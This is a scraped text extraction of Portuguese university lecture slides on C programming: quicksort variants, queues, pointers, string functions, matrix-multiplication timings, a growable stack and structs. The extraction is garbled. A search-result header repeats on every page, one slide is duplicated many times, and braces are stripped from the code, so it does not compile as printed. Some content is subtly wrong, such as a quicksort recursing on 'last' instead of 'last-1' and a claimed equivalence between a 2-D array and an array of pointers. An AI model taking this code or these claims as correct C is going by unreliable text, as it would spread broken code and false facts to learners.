Page 239: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort (Versão 2)...

/* qsort: ordenar q[1], ..., q[n] por ordem crescente */

void qsort(int v[], int l, int r)

int i;

if (l >= r) return;

i = partition(v, l, r);

qsort(v, l, i-1);

qsort(v, i+1, r);

AED 2003/2004 – p.191/554

Page 240: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort (Versão 3)

/* qsort: ordenar q[1], ..., q[n] por ordem crescente */

void qsort(int v[], int left, int right)

int i, last;

void swap(int v[], int i, int j);

if (left >= right) /* terminar se n

de elementos < 2 */

return;

swap(v, left, (left+right)/2); /* definir elemento para particionar */

last = left;

for (i=left+1; i<=right; i++)

if (v[i] < v[left])

swap(v, ++last, i);

swap(v, left, last); /* recolocar elemento utilizado na particao */

qsort(v, left, last);

qsort(v, last+1, right);

AED 2003/2004 – p.192/554

Page 241: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Problema – Fila de Inteiros

Definir a estrutura de dados e as funções paraimplementar uma fila de inteiros

AED 2003/2004 – p.193/554

Page 242: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Implementação de Fila de Inteiros

#define MAXQUEUE 10

static int iqueue[MAXQUEUE];

static int put_idx = 0;

static int get_idx = 0;

void queue(int value)

iqueue[put_idx++] = value;

if (put_idx == MAXQUEUE) put_idx = 0;

int dequeue()

int rvalue = iqueue[get_idx++];

if (get_idx == MAXQUEUE) get_idx = 0;

return rvalue;

int is_full()

return (put_idx==get_idx-1) || (get_idx==0 && put_idx==MAXQUEUE-1);

int is_empty() return put_idx == get_idx; AED 2003/2004 – p.194/554

Page 243: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Fila Generalizada de Inteiros

Implementar uma estrutura de dados que permite asseguintes operações:

push(int):Coloca valor no fim da fila de valorespop:Retira valor do fim da fila de valoresunshift(int):Coloca valor no início da fila de valoresshift:Retira valor do início da fila de valoresis_empty():Indica se a fila está vaziais_full():Indica se a fila está cheia

AED 2003/2004 – p.195/554

Page 244: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte V

K&R Cap. 5

AED 2003/2004 – p.196/554

Page 245: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 246: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 247: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 248: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 249: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 250: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 251: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 252: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 253: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 254: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Endereços e ponteiros

Ponteiros e argumentos de funções

Ponteiros e tabelas

Aritmética de endereços

Ponteiros para caracteres

Tabelas de ponteiros e ponteiros para ponteiros

Tabelas multi-dimensionais

Inicialização de tabelas de ponteiros

Argumentos da linha de comandos

Ponteiros para funções

AED 2003/2004 – p.197/554

Page 255: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e endereços

Um ponteiro representa um endereço de memória

O operador unário & aplicado a x representa oendereço de x

#include <stdio.h>

main ()

int y,x=3;

int *px = &x;

y = *px;

*px = 0;

printf("%d %d\n",x,y);

AED 2003/2004 – p.198/554

Page 256: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Utilização de ponteiros

*px pode ser usado em vez de x

A declaração int *xpto() significa que xpto() retorna umponteiro para um inteiro

A declaração void abcd(char *) significa que a função abcdaceita como argumento um ponteiro para caracteres

A prioridade de & e * é superior à dos operadoresaritméticos

y = *px + 1 funciona como esperado

++*px incrementa o valor de x

(*px)++ (os parênteses são necessários)

AED 2003/2004 – p.199/554

Page 257: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Passagem de parâmetros para funções

Em C, os parâmetros são passados por valor

swap(int a, int b)

int aux;

aux = a;

a = b;

b = aux;

Não funciona como pretendido

AED 2003/2004 – p.200/554

Page 258: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Passagem de parâmetros por referência

Passagem por referência consegue-se enviando osendereços

swap(int *a, int *b)

int aux;

aux = *a;

*a = *b;

*b = aux;

Chamada deverá ser swap(&x, &y)

AED 2003/2004 – p.201/554

Page 259: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Leitura de um inteiro

#include <ctype.h>

#include <stdio.h>

int getch(void);

void ungetch(int);

/* getint: get next integer from input into *pn */

int getint(int *pn)

int c, sign;

while (isspace(c = getch())) ; /* skip white space */

if (!isdigit(c) && c != EOF && c != ’+’ && c != ’-’)

ungetch(c); /* it is not a number */

return 0;

sign = (c == ’-’) ? -1 : 1;

if (c == ’+’ || c == ’-’) c = getch();

for (*pn = 0; isdigit(c); c = getch())

*pn = 10 * *pn + (c - ’0’);

*pn *= sign;

if (c != EOF) ungetch(c);

return c;

AED 2003/2004 – p.202/554

Page 260: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

Em C, existe uma relação entre ponteiros e tabelas

int a[10];

int *pa;

int x;

int i = 3;

pa = &a[0]; /* pa fica a apontar para a[0] */

x = *pa; /* Copia o conteudo de a[0] para x */

x = *(pa+1); /* Copia para x o conteudo de a[1] */

x = *(pa+i); /* Copia para x o conteudo de a[i] */

strlen(”Hello world”); /* string constant */

strlen(arr); /* char array[100] */

strlen(ptr); /* char *ptr */

AED 2003/2004 – p.203/554

Page 261: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo

/* strlen: return length of string s */int strlen(char *s)

int n;

for (n = 0; *s != ’\0’; s++)n++;

return n;

AED 2003/2004 – p.204/554

Page 262: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Representação do endereço zero

Ponteiro especial para representar zero.

int *y;

y = NULL;...if (!y) /* problem handling code */ ...

AED 2003/2004 – p.205/554

Page 263: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros e tabelas

A declaração int *p; declara o mesmo que int p[];

A declaração int p[100]; declara uma tabela com 100inteiros;

A declaração int *p não aloca qualquer espaço;

A função malloc(int size) aloca um espaço de dimensãosize

A declaração int *p = malloc(100*sizeof(int)); é equivalentea int p[100];

O espaço pode ser libertado com a chamada free(p);

AED 2003/2004 – p.206/554

Page 264: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros para caracteres

Uma constante do tipo string "Hello world" é uma tabelade caracteres

char *pmessage;

pmessage = "Hello world";/* Copia apenas os ponteiros */

As declarações

char amessage[] = "Hello world";char *pmessage = "Hello world";

São diferentes. Porquê ?AED 2003/2004 – p.207/554

Page 265: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros para caracteres

/* strcpy: copy t to s; array subscript version */

void strcpy(char *s, char *t)

int i;

i = 0;

while ((s[i] = t[i]) != ’\0’)

i++;

/* strcpy: copy t to s; pointer version */

void strcpy(char *s, char *t)

while ((*s = *t) != ’\0’)

s++;

t++;

AED 2003/2004 – p.208/554

Page 266: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Strcpy: versão 3

/* strcpy: copy t to s; pointer version 2 */

void strcpy(char *s, char *t)

while ((*s++ = *t++));

AED 2003/2004 – p.209/554

Page 267: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Mais funções para strings

/* strcmp: return <0 if s<t, 0 if s==t, >0 if s>t */

int strcmp(char *s, char *t)

for ( ; *s == *t; s++, t++)

if (*s == 0)

return 0;

return *s - *t;

AED 2003/2004 – p.210/554

Page 268: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de ponteiros

Exemplo: ordenação de cadeias de caracteres

Usa-se mesmo algoritmo que para ordenação deinteiros

Evita-se copiar strings usando tabelas de ponteiros

Usa-se mesmo algoritmo que para ordenação deinteiros

Evita-se copiar strings usando tabelas de ponteiros

int i;

/* Representa uma tabela de ponteiros para caracteres */

char *lineptr[MAXLINES];

readlines(lineptr,MAXLINES);

for (i=0; i< MAXLINES; i++)

printf("Linha %d e %s\n",i,lineptr[i]);AED 2003/2004 – p.211/554

Page 269: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ler e guardar linhas

/* readlines: le linhas de entrada */

int readlines(char *lineptr[], int maxlines)

int len, nlines;

char *p, line[MAXLEN];

nlines = 0;

while ((len = getline(line, MAXLEN)) > 0)

if (nlines >= maxlines || (p = malloc(len)) == NULL)

return -1;

else

line[len-1] = ’\0’; /* delete newline */

strcpy(p, line);

lineptr[nlines++] = p;

return nlines;

AED 2003/2004 – p.212/554

Page 270: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ler, ordenar e imprimir linhas

#include <stdio.h>

#include <string.h>

#define MAXLINES 5000

char *lineptr[MAXLINES]; /* Tabela de ponteiros */

int readlines(char *lineptr[], int nlines);

void writelines(char *lineptr[], int nlines);

void qsort(char *lineptr[], int left, int right);

main()

int nlines;

if((nlines = readlines(lineptr, MAXLINES)) >= 0)

qsort(lineptr, 0, nlines-1);

writelines(lineptr, nlines);

return 0;

else

printf("error: input too big to sort\n");

return 1;

AED 2003/2004 – p.213/554

Page 271: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Quick sort para strings

void qsort(char *v[], int left, int right)

int i, last;

void swap(char *v[], int i, int j);

if(left >= right)

return;

swap(v, left, (left + right)/2);

last = left;

for(i = left+1; i <= right; i++)

if(strcmp(v[i], v[left]) < 0)

swap(v, ++last, i);

swap(v, left, last);

qsort(v, left, last-1);

qsort(v, last+1, right);

AED 2003/2004 – p.214/554

Page 272: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Troca e impressão de linhas

/* swap: swap v[i] and v[j] */

void swap(char *v[], int i, int j)

char *tmp;

tmp = v[i];

v[i] = v[j];

v[j] = tmp;

void writelines(char *lineptr[], int nlines)

int i;

for(i=0; i<nlines; i++)

printf("%s\n", lineptr[i]);

AED 2003/2004 – p.215/554

Page 273: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas multi-dimensionais

A declaração int x[NROWS][NCOLS] declara uma matriz

É equivalente a int *x[NCOLS]

Elemento na linha i e coluna j é x[i][j]

int x[NROWS][NCOLS] aloca o espaço NROWS*NCOLS

int *x[NCOLS] aloca o espaço para NCOLS ponteiros

Na prática, ponteiros para tabelas são mais usados

Qualquer número de dimensões pode ser usado

Primeira dimensão pode não ser especificada

AED 2003/2004 – p.216/554

Page 274: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inicialização de tabelas de ponteiros

/* month_name: devolve nome do i-esimo mes */

char *month_name(int n)

/* Inicializa tabela de ponteiros */

static char *name[] =

"Illegal month",

"January", "February", "March",

"April", "May", "June",

"July", "August", "September",

"October", "November", "December"

;

return (n < 1 || n > 12) ? name[0] : name[n];

AED 2003/2004 – p.217/554

Page 275: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Argumentos da linha de comandos

argv[0] é o nome do programa

argv[i] é i-ésimo argumento

Programa "echo"

echo hello world gera hello world

main(int argc, char *argv[]) int i;

for(i=1; i<argc; i++)printf("%s ",argv[i]);

printf("\n");return 0;

AED 2003/2004 – p.218/554

Page 276: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ponteiros para funções

É possível declarar ponteiros para funções

Uma função pode ser passada como argumento paraoutra

/* Funcao qsort generica */

void qsort(char *v[],int left, int right, int (*comp)(char *, char *);

...

if ((*comp)(v[i],v[j]))

...

/* Uso da funcao qsort */

char *lineptr[MAXLINES]; /* Tabela de ponteiros */

int strcmp(char *, char *);

...

qsort(lineptr, 0, nlines-1, strcmp); /*Funcao strcmp como argumento*/

AED 2003/2004 – p.219/554

Page 277: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Multiplicação de Matrizes

#include <stdlib.h>

#define MATDIM 500

int matA[MATDIM][MATDIM], matB[MATDIM][MATDIM], matC[MATDIM][MATDIM];

void init()

int i, j;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

matA[i][j] = i+j; matB[i][j] = i-j;

void prod()

/* funcao para multiplicar matrizes A e B */

(cont.)

AED 2003/2004 – p.220/554

Page 278: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Multiplicação de Matrizes

int sum()

int i, j, sum = 0;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

sum += matC[i][j];

return sum;

main()

init();

prod();

printf("Soma: %d\n", sum());

AED 2003/2004 – p.221/554

Page 279: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão 1

void prod()

int i, j, k;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

matC[i][j] = 0;

for (k=0; k<MATDIM; ++k)

matC[i][j] += matA[i][k] * matB[k][j];

AED 2003/2004 – p.222/554

Page 280: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão 2

void prod()

int i, j, k;

for (i=0; i<MATDIM; ++i)

int *pA = &(matA[i][0]);

for (j=0; j<MATDIM; ++j)

int *pC = &(matC[i][j]);

*pC = 0;

for (k=0; k<MATDIM; ++k)

*pC += *(pA+k) * matB[k][j];

AED 2003/2004 – p.223/554

Page 281: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão 3 – Com Novo init()

void init()

int i, j;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

matA[i][j] = i+j;

matB[j][i] = i-j;

void prod()

int i, j, k;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

int *pA = &(matA[i][0]);

int *pB = &(matB[j][0]);

int *pC = &(matC[i][j]); *pC = 0;

for (k=0; k<MATDIM; ++k)

*pC += *(pA++) * *(pB++);

AED 2003/2004 – p.224/554

Page 282: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão 4

void prod()

int i, j, k;

for (i=0; i<MATDIM; ++i)

int *pA = &(matA[i][0]);

for (j=0; j<MATDIM; ++j)

int *pC = &(matC[i][j]);

int *pB = &(matB[j][0]);

*pC = 0;

for (k=0; k<MATDIM; ++k)

*pC += *(pA+k) * *(pB+k);

AED 2003/2004 – p.225/554

Page 283: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Versão 5

void prod()

int i, j, k;

for (i=0; i<MATDIM; ++i)

for (j=0; j<MATDIM; ++j)

int *pC = &(matC[i][j]);

int *pA = &(matA[i][0]);

int *pB = &(matB[j][0]);

int *pF = pA + MATDIM;

*pC = 0;

for (; pA<pF; )

*pC += *(pA++) * *(pB++);

AED 2003/2004 – p.226/554

Page 284: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tempos de Execução

Versão 1: 1.74s

Versão 2: 1.96s

Versão 3: 0.55s

Versão 4: 0.55s

Versão 5: 0.54s

AED 2003/2004 – p.227/554

Page 285: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Stack de Inteiros com Tabela Dinâmica

Utilizar tabela dinâmica para implementar stack devalores inteiros com tamanho arbitrário

AED 2003/2004 – p.228/554

Page 286: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.h

extern void st_init();

extern void st_push(int value);

extern int st_pop();

extern int st_is_empty();

AED 2003/2004 – p.229/554

Page 287: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c – Versão 1

#include <stdlib.h>

#define MAXVALUE 5

static int *st_value;

static int st_top;

static int st_max;

static void increase_stack_size()

int i, *ptmp = st_value, *pa, *pb, *pf;

st_max = 2 * st_max;

st_value = (int*) malloc(st_max * sizeof(int));

for (pa=ptmp, pb=st_value, pf=st_value+st_top; pb<=pf; )

*(pb++) = *(pa++);

free(ptmp);

(cont.)AED 2003/2004 – p.230/554

Page 288: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c – Versão 1

void st_init()

st_top = -1;

st_max = MAXVALUE;

st_value = (int*) malloc(st_max*sizeof(int));

void st_push(int value)

if (st_top >= st_max-1) increase_stack_size();

st_value[++st_top] = value;

int st_pop()

if (!st_is_empty()) return st_value[st_top--];

return -1;

int st_is_empty()

return st_top == -1;

AED 2003/2004 – p.231/554

Page 289: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c – Versão 2

#include <stdlib.h>

#define MAXVALUE 5

static int *st_value;

static int *st_sup;

static int st_max;

static void increase_stack_size()

int i, *ptmp = st_value, *pa, *pb;

int diff = st_sup - st_value;

st_max = 2 * st_max;

st_value = (int*) malloc(st_max * sizeof(int));

for (pa=ptmp, pb=st_value; pa<st_sup; )

*(pb++) = *(pa++);

free(ptmp);

st_sup = st_value + diff;

AED 2003/2004 – p.232/554

Page 290: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

istack.c – Versão 2

void st_init()

st_max = MAXVALUE;

st_value = (int*) malloc(st_max*sizeof(int));

st_sup = st_value;

void st_push(int value)

if (st_sup == st_value+st_max)

increase_stack_size();

*(st_sup++) = value;

int st_pop()

if (!st_is_empty()) return *(--st_sup);

return -1;

int st_is_empty()

return st_sup == st_value;

AED 2003/2004 – p.233/554

Page 291: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.234/554

Page 292: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte VI

K&R Cap. 6

AED 2003/2004 – p.235/554

Page 293: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas

Introdução às Estruturas

Estruturas e Funções

Vectores de Estruturas

Apontadores para Estruturas

Estruturas Auto-Referenciadas

Typedef

Exemplos:

Tópicos: Unions e Bit-Fields

AED 2003/2004 – p.236/554

Page 294: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Introdução

As estruturas permitem definir estruturas de dadossofisticadas, as quais possibilitam a agregação dediferentes tipos de declarações

Exemplo:struct point

int x;

int y;

É possível declararar variáveis do tipo estruturastruct point x, z;

É possível manipular os campos de variáveis do tipoestruturax.x = 1;

x.y = 2;

z.x = 10;

z.y = 20;AED 2003/2004 – p.237/554

Page 295: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações sobre Estruturas

Declaração:struct point

int x;

int y;

Introduz um novo tipo de dados

Definição:struct point z;

Define a variável z como uma estrutura do tipo structpointInicialização: tipo nome = valores

struct point z = 100, 200 ;

AED 2003/2004 – p.238/554

Page 296: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações sobre Estruturas

Manipulação: nome-estrutura.membroz.x = 125; z.y = 500;

Estruturas podem incluir estruturas:struct rect

struct point a, b;

;

struct rect p;

...

p.a.x = 25;

p.b.y = 32;

